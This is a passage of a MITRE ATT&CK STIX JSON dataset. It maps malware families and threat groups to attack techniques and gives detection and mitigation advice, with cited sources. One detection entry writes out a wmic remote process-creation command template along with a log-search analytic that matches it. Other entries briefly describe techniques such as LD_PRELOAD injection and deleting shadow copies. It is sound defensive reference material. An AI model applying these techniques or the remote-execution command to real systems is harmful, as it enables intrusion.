"2021-04-23T22:56:14.888Z", "description": "[Ebury](https://attack.mitre.org/software/S0377) has injected its dynamic library into descendent processes of sshd via LD_PRELOAD.(Citation: ESET Ebury Oct 2017)", "relationship_type": "uses", "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d312fb3f-fd87-48ff-9fba-5c1084a21eab", "created": "2022-03-30T14:26:51.845Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor queried domain name system (DNS) registry data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.", "modified": "2022-07-13T13:14:45.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d313baee-7fc6-4c44-a2d8-84ddcb627faf", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may abuse Microsoft transport agents to establish persistent access to systems. Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d3142001-8501-474a-a0cd-2e12bba52148", "created": "2020-07-22T19:16:02.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit42 CookieMiner Jan 2019", "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020.", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T03:33:52.783Z", "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has used base64 encoding to obfuscate scripts on the system.(Citation: Unit42 CookieMiner Jan 2019) ", "relationship_type": "uses", "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d316289b-26fa-49d7-8ed0-3fa56cc858b7", "type": "relationship", "created": "2020-04-28T13:48:00.555Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT41 March 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."}, {"source_name": "Crowdstrike GTR2020 Mar 2020", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}], "modified": "2020-12-22T17:48:21.444Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) used [BITSAdmin](https://attack.mitre.org/software/S0190) to download and install payloads.(Citation: FireEye APT41 March 2020)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d31bacda-9a8f-4807-b0d6-51a47f0af986", "created": "2023-08-01T18:43:54.825Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BitDefender BADHATCH Mar 2021", "description": "Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:35:02.569Z", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) can emulate an FTP server to connect to actor-controlled C2 servers.(Citation: BitDefender BADHATCH Mar 2021)", "relationship_type": "uses", "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike DNC June 2016", "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}], "modified": "2019-04-19T18:36:31.999Z", "description": "[XTunnel](https://attack.mitre.org/software/S0117) relays traffic between a C2 server and a victim.(Citation: Crowdstrike DNC June 2016)", "relationship_type": "uses", "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d32354c1-0668-4997-825e-7f5652826ab9", "type": "relationship", "created": "2020-12-29T17:07:59.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}, {"source_name": "ClearSky Pay2Kitten December 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."}], "modified": "2020-12-29T20:23:05.599Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used RDP to log in and move laterally in the target environment.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d32467b1-8d30-4134-ac6d-541cb623f8c2", "type": "relationship", "created": "2019-06-24T14:22:08.049Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-08-03T16:47:37.403Z", "description": "Restrict write access to logon scripts to specific administrators.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d3269fe9-f90f-4714-bee5-836072e9ad6f", "created": "2023-08-02T18:12:47.253Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks BRONZE SILHOUETTE May 2023", "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.", "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}, {"source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023", "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.", "url": "https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-08T17:13:44.836Z", "description": "(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d32fb833-c8ad-4d04-b998-3d62a6916966", "type": "relationship", "created": "2020-04-28T12:47:25.948Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}], "modified": "2020-04-29T18:44:05.098Z", "description": "[PoetRAT](https://attack.mitre.org/software/S0428) was executed with a Python script and worked in conjunction with additional Python-based post-exploitation tools.(Citation: Talos PoetRAT April 2020)", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d331f4b3-047a-4418-9611-f2b8445692b3", "type": "relationship", "created": "2020-05-18T13:38:59.051Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FSecure Lokibot November 2019", "url": "https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml", "description": "Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."}], "modified": "2020-05-18T13:38:59.051Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) has the ability to discover the domain name of the infected host.(Citation: FSecure Lokibot November 2019)", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d3366503-cb6e-4fd3-9d93-ae9ee2faa0d4", "type": "relationship", "created": "2021-03-08T13:45:43.046Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}], "modified": "2021-03-15T17:16:08.935Z", "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can delete files from a compromised host.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)", "relationship_type": "uses", "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d336d669-ef00-476d-81f6-0fe88093e1e6", "created": "2022-07-25T17:35:14.162Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Mongall](https://attack.mitre.org/software/S1026) can identify drives on compromised hosts and retrieve the hostname via `gethostbyname`.(Citation: SentinelOne Aoqin Dragon June 2022)\n", "modified": "2022-07-25T17:57:40.149Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d33b14b1-7501-4bb3-af8c-3e2202fa572f", "created": "2024-04-04T18:06:38.218Z", "revoked": false, "external_references": [{"source_name": "Kersten Akira 2023", "description": "Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.", "url": "https://www.trellix.com/blogs/research/akira-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-04T18:06:38.218Z", "description": "[Akira](https://attack.mitre.org/software/S1129) verifies the deletion of volume shadow copies by checking for the existence of the process ID related to the process created to delete these items.(Citation: Kersten Akira 2023)", "relationship_type": "uses", "source_ref": "malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d348102c-89dc-452a-b86d-2460928defaa", "type": "relationship", "created": "2019-10-04T19:41:47.000Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Pawn Storm OAuth 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."}], "modified": "2020-03-20T16:37:06.241Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications to steal user OAuth access tokens including applications masquerading as \"Google Defender\" \"Google Email Protection,\" and \"Google Scanner\" for Gmail users. They also targeted Yahoo users with applications masquerading as \"Delivery Service\" and \"McAfee Email Protection\".(Citation: Trend Micro Pawn Storm OAuth 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d35934e8-c16e-4820-a0ad-88e0eff27554", "created": "2021-05-26T12:32:59.061Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ClearSky and Trend Micro Operation Wilted Tulip July 2017", "url": "https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", "description": "ClearSky and Trend Micro. (2017, July). Operation Wilted Tulip - Exposing a cyber espionage apparatus. Retrieved May 17, 2021."}, {"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) has used Metasploit, [Empire](https://attack.mitre.org/software/S0363), and AirVPN for post-exploitation activities.(Citation: ClearSky and Trend Micro Operation Wilted Tulip July 2017)(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-08-08T21:27:55.466Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d35ccc13-9b62-4879-b625-7d15c9a8c981", "created": "2022-05-05T17:48:04.439Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can use a batch script to delete itself.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T17:48:04.439Z", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d35f6c6f-c1ed-4b0d-b95f-9fd762eb3ac7", "created": "2017-05-31T21:33:27.066Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Destructive Malware", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", "description": "Novetta Threat Research Group. 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Retrieved August 11, 2021."}], "modified": "2021-10-12T12:54:06.984Z", "description": "[Seth-Locker](https://attack.mitre.org/software/S0639) can encrypt files on a targeted system, appending them with the suffix .seth.(Citation: Trend Micro Ransomware February 2021)", "relationship_type": "uses", "source_ref": "malware--f931a0b9-0361-4b1b-bacf-955062c35746", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d4231fe6-3a2d-45b7-bb71-68f285373a41", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T18:15:56.021Z", "description": "Monitor for newly constructed processes and/or command-lines of \"wmic\u201d. If the command line utility\u00a0<code>wmic.exe</code>\u00a0is used on the source host, then it can additionally be detected on an analytic. The command line on the source host is constructed into something like\u00a0<code>wmic.exe /node:\"\\<hostname\\>\" process call create \"\\<command line\\>\"</code>. It is possible to also connect via IP address, in which case the string\u00a0<code>\"\\<hostname\\>\"</code> would instead look like\u00a0IP Address. Processes can be created remotely via WMI in a few other ways, such as more direct API access or the built-in utility\u00a0PowerShell.\n\nNote: Event IDs are for Sysmon (Event ID 10 - process access) and Windows Security Log (Event ID 4688 - a new process has been created). \n\nBesides executing arbitrary processes, wmic.exe can also be used to executed data stored in NTFS alternate data streams [NTFS File Attributes](https://attack.mitre.org/techniques/T1564/004).\nLooks for instances of wmic.exe as well as the substrings in the command line:\n- process call create\n- /node:\n\nAnalytic 1 : Create Remote Process via WMIC\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND Image=\"*wmic.exe\" AND CommandLine=\"* process call create *\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d4240d9a-1499-4863-a654-a52a1dbf48b4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 RGDoor Jan 2018", "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"}], "modified": "2020-03-17T02:29:15.966Z", "description": "[RGDoor](https://attack.mitre.org/software/S0258) decodes Base64 strings and decrypts strings using a custom XOR algorithm.(Citation: Unit 42 RGDoor Jan 2018)", "relationship_type": "uses", "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d42a4f15-98c5-43df-9e25-7455a764070d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 QUADAGENT July 2018", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}], "modified": "2020-03-17T02:18:35.435Z", "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses PowerShell scripts for execution.(Citation: Unit 42 QUADAGENT July 2018)", "relationship_type": "uses", "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d42b9304-293a-4b95-a946-dcda81be5c87", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "source_name": "ESET Turla Mosquito Jan 2018"}], "modified": "2019-07-14T21:04:44.726Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.(Citation: ESET Turla Mosquito Jan 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d42cdf33-c3c1-4546-9a4f-40f6f64cd524", "type": "relationship", "created": "2020-05-06T21:01:23.662Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Attor Oct 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.663Z", "description": "[Attor](https://attack.mitre.org/software/S0438)\u2019s plugin deletes the collected files and log files after exfiltration.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d42d35c6-de42-4a3b-ada1-da6e87023192", "type": "relationship", "created": "2020-02-18T16:39:06.462Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object", "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", "source_name": "Microsoft Create Token"}, {"url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token", "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", "source_name": "Microsoft Replace Process Token"}, {"url": "https://technet.microsoft.com/en-us/library/bb490994.aspx", "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.", "source_name": "Microsoft runas"}], "modified": "2020-03-26T21:29:18.782Z", "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d430bf8d-cbe9-4f0d-8040-7f7d66fcc204", "created": "2023-08-17T19:16:31.810Z", "revoked": false, "external_references": [{"source_name": "Mandiant APT29 Eye Spy 